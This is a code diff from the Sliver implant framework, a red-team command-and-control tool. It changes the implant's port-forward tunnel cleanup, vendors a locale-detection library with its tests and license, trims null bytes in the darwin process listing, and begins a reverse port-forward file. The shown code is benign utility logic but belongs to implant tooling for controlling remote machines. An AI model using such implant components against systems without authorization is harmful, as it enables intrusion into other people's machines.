@@ -108,23 +109,31 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
|
||||
Data: portfwdResp,
|
||||
}
|
||||
|
||||
once := sync.Once{}
|
||||
cleanup := func(reason error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
|
||||
// {{end}}
|
||||
tunnel := connection.Tunnel(tunnel.ID)
|
||||
once.Do(func() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
|
||||
// {{end}}
|
||||
cleanupTunnel := connection.Tunnel(tunnel.ID)
|
||||
if cleanupTunnel == nil {
|
||||
return
|
||||
}
|
||||
|
||||
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
|
||||
Closed: true,
|
||||
TunnelID: tunnel.ID,
|
||||
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
|
||||
Closed: true,
|
||||
TunnelID: cleanupTunnel.ID,
|
||||
})
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelClose,
|
||||
Data: tunnelClose,
|
||||
}
|
||||
connection.RemoveTunnel(cleanupTunnel.ID)
|
||||
if dst != nil {
|
||||
dst.Close()
|
||||
}
|
||||
cancelContext()
|
||||
})
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelClose,
|
||||
Data: tunnelClose,
|
||||
}
|
||||
connection.RemoveTunnel(tunnel.ID)
|
||||
dst.Close()
|
||||
cancelContext()
|
||||
}
|
||||
|
||||
go func() {
|
||||
|
||||
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright 2014 Pivotal
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,95 @@
|
||||
# Jibber Jabber [](https://travis-ci.org/cubiest/jibberjabber)
|
||||
|
||||
Jibber Jabber is a GoLang Library that can be used to detect an operating system's current language, plus helper functionalities for app development.
|
||||
|
||||
|
||||
## OS Support
|
||||
|
||||
UNIX: **GNU/Linux**, **macOS**, **FreeBSD**, **OpenBSD**, **NetBSD**
|
||||
via the `LC_MESSAGES`, `LC_ALL` and `LANG` environment variables. They are checked in the aforementioned order.
|
||||
These variables are used in ALL versions of UNIX for language detection.
|
||||
|
||||
**Windows**
|
||||
via [GetUserDefaultLocaleName](https://docs.microsoft.com/en-gb/windows/win32/api/winnls/nf-winnls-getuserdefaultlocalename) and [GetSystemDefaultLocaleName](https://docs.microsoft.com/en-gb/windows/win32/api/winnls/nf-winnls-getsystemdefaultlocalename) system calls. These calls are supported in Windows Vista and up.
|
||||
|
||||
|
||||
|
||||
## DetectIETF
|
||||
|
||||
`DetectIETF` will return the current locale as a string. The format of the locale will be the [ISO 639](http://en.wikipedia.org/wiki/ISO_639) two-letter language code, a DASH, then an [ISO 3166](http://en.wikipedia.org/wiki/ISO_3166-1) two-letter country code.
|
||||
|
||||
**Example:**
|
||||
```golang
|
||||
userLocale, err := jibberjabber.DetectIETF()
|
||||
println("Locale:", userLocale)
|
||||
```
|
||||
|
||||
|
||||
## DetectLanguage
|
||||
`DetectLanguage` will return the current language as a string. The format will be the [ISO 639](http://en.wikipedia.org/wiki/ISO_639) two-letter language code.
|
||||
|
||||
also import the following packages for parsing the returned locale
|
||||
```golang
|
||||
"golang.org/x/text/language"
|
||||
"golang.org/x/text/language/display"
|
||||
|
||||
```
|
||||
|
||||
|
||||
**Example:**
|
||||
```golang
|
||||
userLanguage, err := jibberjabber.DetectLanguage()
|
||||
println("Language:", userLanguage)
|
||||
languageTag, parseErr := language.Parse(userLanguage)
|
||||
println("Language:", display.Self.Name(languageTag))
|
||||
|
||||
```
|
||||
|
||||
|
||||
## DetectLanguageTag
|
||||
|
||||
`DetectLanguageTag` will return the current language as a language tag as specified by `"golang.org/x/text/language"`.
|
||||
|
||||
**Example:**
|
||||
```golang
|
||||
languageTag, parseErr := jibberjabber.DetectLanguageTag()
|
||||
println("Language:", display.Self.Name(languageTag))
|
||||
|
||||
```
|
||||
|
||||
|
||||
## DetectTerritory
|
||||
|
||||
`DetectTerritory` will return the current locale territory as a string. The format will be the [ISO 3166](http://en.wikipedia.org/wiki/ISO_3166-1) two-letter country code.
|
||||
|
||||
**Example:**
|
||||
```golang
|
||||
localeTerritory, err := jibberjabber.DetectTerritory()
|
||||
println("Territory:", localeTerritory)
|
||||
```
|
||||
|
||||
|
||||
## About Errors in Detect
|
||||
|
||||
All the Detect commands will return an error if they are unable to read the Locale from the system.
|
||||
|
||||
For Windows, additional error information is provided due to the nature of the system call being used.
|
||||
|
||||
|
||||
## Helper Singleton
|
||||
|
||||
There is a singleton you can, but don't have to, use. It helps you define and later check which locales you support in your application - if not, apply a fallback language locale.
|
||||
|
||||
**Example:**
|
||||
```golang
|
||||
langServer := jibberjabber.LanguageServer()
|
||||
langServer.SetSupportedLanguages(map[language.Tag]string{
|
||||
language.German: "active.de.toml",
|
||||
language.English: "active.en.toml",
|
||||
}
|
||||
langServer.SetFallbackLanguage(language.English)
|
||||
langLocale, err := langServer.StringToSupportedLanguageTag("something") // returns `language.English`
|
||||
if err != nil {
|
||||
log.Printf("failed fetching supported language locale, use fallback language locale %q\n", display.Self.Name(langLocale))
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,44 @@
|
||||
package jibberjabber
|
||||
|
||||
import (
|
||||
"errors"
|
||||
// "fmt"
|
||||
// "sort"
|
||||
"strings"
|
||||
// "sync"
|
||||
|
||||
// "golang.org/x/text/language"
|
||||
// "golang.org/x/text/language/display"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrLangDetectFail = errors.New("could not detect Language")
|
||||
ErrLangFallbackUndefined = errors.New("no fallback language defined")
|
||||
ErrLangFallbackUnsupported = errors.New("defined fallback language is not supported")
|
||||
ErrLangUnsupported = errors.New("language not supported")
|
||||
ErrLangParse = errors.New("language identifier cannot be parsed")
|
||||
)
|
||||
|
||||
func splitLocale(locale string) (string, string) {
|
||||
formattedLocale := strings.Split(locale, ".")[0]
|
||||
formattedLocale = strings.Replace(formattedLocale, "-", "_", -1)
|
||||
|
||||
pieces := strings.Split(formattedLocale, "_")
|
||||
language := pieces[0]
|
||||
territory := ""
|
||||
if len(pieces) > 1 {
|
||||
territory = strings.Split(formattedLocale, "_")[1]
|
||||
}
|
||||
return language, territory
|
||||
}
|
||||
|
||||
/**
|
||||
* languageServer
|
||||
*/
|
||||
|
||||
|
||||
// IsError checks an error you received from one of jibberjabber's funcs for a jibberjabber error like `ErrLangDetectFail`.
|
||||
// Reason you cannot use e.g. `errors.Is()`: currently, golang does not allow native chain-wrapping errors. Therefore, `errors.Unwrap()`, `errors.Is()` & Co. won't return `true` for jibberjabber errors.
|
||||
func IsError(err error, jjError error) bool {
|
||||
return strings.HasPrefix(err.Error(), jjError.Error())
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
package jibberjabber_test
|
||||
|
||||
import (
|
||||
. "github.com/onsi/ginkgo"
|
||||
. "github.com/onsi/gomega"
|
||||
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestJibberJabber(t *testing.T) {
|
||||
RegisterFailHandler(Fail)
|
||||
RunSpecs(t, "Jibber Jabber Suite")
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
// +build darwin freebsd linux netbsd openbsd
|
||||
|
||||
package jibberjabber
|
||||
|
||||
import (
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func getLangFromEnv() string {
|
||||
for _, env := range []string{"LC_MESSAGES", "LC_ALL", "LANG"} {
|
||||
locale := os.Getenv(env)
|
||||
if len(locale) > 0 {
|
||||
return locale
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func getUnixLocale() (string, error) {
|
||||
locale := getLangFromEnv()
|
||||
if len(locale) <= 0 {
|
||||
return "", ErrLangDetectFail
|
||||
}
|
||||
return locale, nil
|
||||
}
|
||||
|
||||
// DetectIETF detects and returns the IETF language tag of UNIX systems, like Linux and macOS.
|
||||
// If a territory is defined, the returned value will be in the format of `[language]-[territory]`,
|
||||
// e.g. `en-GB`.
|
||||
func DetectIETF() (string, error) {
|
||||
locale, err := getUnixLocale()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
language, territory := splitLocale(locale)
|
||||
locale = language
|
||||
if len(territory) > 0 {
|
||||
locale = strings.Join([]string{language, territory}, "-")
|
||||
}
|
||||
|
||||
return locale, nil
|
||||
}
|
||||
@@ -0,0 +1,155 @@
|
||||
// +build darwin freebsd linux netbsd openbsd
|
||||
|
||||
package jibberjabber_test
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"os"
|
||||
|
||||
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
|
||||
|
||||
. "github.com/onsi/ginkgo"
|
||||
. "github.com/onsi/gomega"
|
||||
)
|
||||
|
||||
var _ = Describe("Unix", func() {
|
||||
AfterEach(func() {
|
||||
os.Setenv("LC_MESSAGES", "")
|
||||
os.Setenv("LC_ALL", "")
|
||||
os.Setenv("LANG", "en_US.UTF-8")
|
||||
})
|
||||
|
||||
Describe("#DetectIETF", func() {
|
||||
Context("Returns IETF encoded locale", func() {
|
||||
It("should return the locale set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectIETF()
|
||||
Ω(result).Should(Equal("fr-FR"))
|
||||
})
|
||||
|
||||
It("should return the locale set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectIETF()
|
||||
Ω(result).Should(Equal("fr-FR"))
|
||||
})
|
||||
|
||||
It("should return the locale set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectIETF()
|
||||
Ω(result).Should(Equal("fr-FR"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect a locale", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectIETF()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Context("when the locale is simply 'fr'", func() {
|
||||
BeforeEach(func() {
|
||||
os.Setenv("LANG", "fr")
|
||||
})
|
||||
|
||||
It("should return the locale without a territory", func() {
|
||||
language, err := DetectIETF()
|
||||
Ω(err).ShouldNot(HaveOccurred())
|
||||
Ω(language).Should(Equal("fr"))
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguage", func() {
|
||||
Context("Returns encoded language", func() {
|
||||
It("should return the language set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguage()
|
||||
Ω(result).Should(Equal("fr"))
|
||||
})
|
||||
|
||||
It("should return the language set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguage()
|
||||
Ω(result).Should(Equal("fr"))
|
||||
})
|
||||
|
||||
It("should return the language set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguage()
|
||||
Ω(result).Should(Equal("fr"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect a language", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectLanguage()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguageTag", func() {
|
||||
Context("Returns encoded language tag", func() {
|
||||
It("should return language tag corresponding to the language set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
Ω(base.String()).Should(Equal("fr"))
|
||||
region, _ := result.Region()
|
||||
Ω(region.String()).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return language tag corresponding to the language set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
Ω(base.String()).Should(Equal("fr"))
|
||||
region, _ := result.Region()
|
||||
Ω(region.String()).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return language tag corresponding to the language set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
Ω(base.String()).Should(Equal("fr"))
|
||||
region, _ := result.Region()
|
||||
Ω(region.String()).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect and parse a language tag", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectLanguageTag()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectTerritory", func() {
|
||||
Context("Returns encoded territory", func() {
|
||||
It("should return the territory set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectTerritory()
|
||||
Ω(result).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return the territory set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectTerritory()
|
||||
Ω(result).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return the territory set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectTerritory()
|
||||
Ω(result).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect a territory", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectTerritory()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
})
|
||||
@@ -0,0 +1,47 @@
|
||||
// +build windows
|
||||
|
||||
package jibberjabber
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// TODO: read LOCALE_NAME_MAX_LENGTH from Windows, instead of hard-coding '85'
|
||||
const LOCALE_NAME_MAX_LENGTH uint32 = 85
|
||||
|
||||
func getWindowsLocaleFrom(sysCall string) (string, error) {
|
||||
buffer := make([]uint16, LOCALE_NAME_MAX_LENGTH)
|
||||
|
||||
dll, err := windows.LoadDLL("kernel32")
|
||||
if err != nil {
|
||||
return "", errors.New("could not find kernel32 dll: " + err.Error())
|
||||
}
|
||||
|
||||
proc, err := dll.FindProc(sysCall)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
r, _, dllError := proc.Call(uintptr(unsafe.Pointer(&buffer[0])), uintptr(LOCALE_NAME_MAX_LENGTH))
|
||||
if r == 0 {
|
||||
return "", errors.New(ErrLangDetectFail.Error() + ": " + dllError.Error())
|
||||
}
|
||||
|
||||
return windows.UTF16ToString(buffer), nil
|
||||
}
|
||||
|
||||
func getWindowsLocale() (string, error) {
|
||||
locale, err := getWindowsLocaleFrom("GetUserDefaultLocaleName")
|
||||
if err != nil {
|
||||
locale, err = getWindowsLocaleFrom("GetSystemDefaultLocaleName")
|
||||
}
|
||||
return locale, err
|
||||
}
|
||||
|
||||
// DetectIETF detects and returns the IETF language tag of Windows.
|
||||
func DetectIETF() (string, error) {
|
||||
return getWindowsLocale()
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
// +build windows
|
||||
|
||||
package jibberjabber_test
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
|
||||
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
|
||||
|
||||
. "github.com/onsi/ginkgo"
|
||||
. "github.com/onsi/gomega"
|
||||
)
|
||||
|
||||
const (
|
||||
LOCALE_REGEXP = "^[a-z]{2}-[A-Z]{2}$"
|
||||
LANGUAGE_REGEXP = "^[a-z]{2}$"
|
||||
TERRITORY_REGEXP = "^[A-Z]{2}$"
|
||||
)
|
||||
|
||||
var _ = Describe("Windows", func() {
|
||||
BeforeEach(func() {
|
||||
locale, err := DetectIETF()
|
||||
Ω(err).Should(BeNil())
|
||||
Ω(locale).ShouldNot(BeNil())
|
||||
Ω(locale).ShouldNot(Equal(""))
|
||||
})
|
||||
|
||||
Describe("#DetectIETF", func() {
|
||||
It("detects correct IETF locale", func() {
|
||||
locale, _ := DetectIETF()
|
||||
matched, _ := regexp.MatchString(LOCALE_REGEXP, locale)
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguage", func() {
|
||||
It("detects correct Language", func() {
|
||||
language, _ := DetectLanguage()
|
||||
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, language)
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguageTag", func() {
|
||||
It("detects correct Language Tag", func() {
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, base.String())
|
||||
Ω(matched).Should(BeTrue())
|
||||
region, _ := result.Region()
|
||||
matched, _ = regexp.MatchString(TERRITORY_REGEXP, region.String())
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectTerritory", func() {
|
||||
It("detects correct Territory", func() {
|
||||
territory, _ := DetectTerritory()
|
||||
matched, _ := regexp.MatchString(TERRITORY_REGEXP, territory)
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,35 @@
|
||||
//go:build darwin || linux || windows
|
||||
|
||||
package locale
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
|
||||
)
|
||||
|
||||
// GetLocale returns the default language set
|
||||
func GetLocale() string {
|
||||
userLocale, err := jibberjabber.DetectIETF()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return userLocale
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
//go:build !darwin && !windows && !linux
|
||||
|
||||
package locale
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
-----------------------------------------------------------------------
|
||||
Place holder so we don't get undefined functions in generic builds.
|
||||
|
||||
*/
|
||||
|
||||
// GetLocale returns the default language set
|
||||
func GetLocale() string {
|
||||
return ""
|
||||
}
|
||||
@@ -1,3 +1,4 @@
|
||||
//go:build darwin
|
||||
// +build darwin
|
||||
|
||||
package ps
|
||||
@@ -90,6 +91,7 @@ func processes() ([]Process, error) {
|
||||
pCommReader := bytes.NewBuffer(pComm)
|
||||
binPath, _ = pCommReader.ReadString(0x00)
|
||||
}
|
||||
binPath = strings.TrimSuffix(binPath, "\x00") // Trim the null byte
|
||||
// Discard the error: if the call errors out, we'll just have an empty argv slice
|
||||
cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
|
||||
|
||||
|
||||
@@ -0,0 +1,249 @@
|
||||
package rportfwd
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
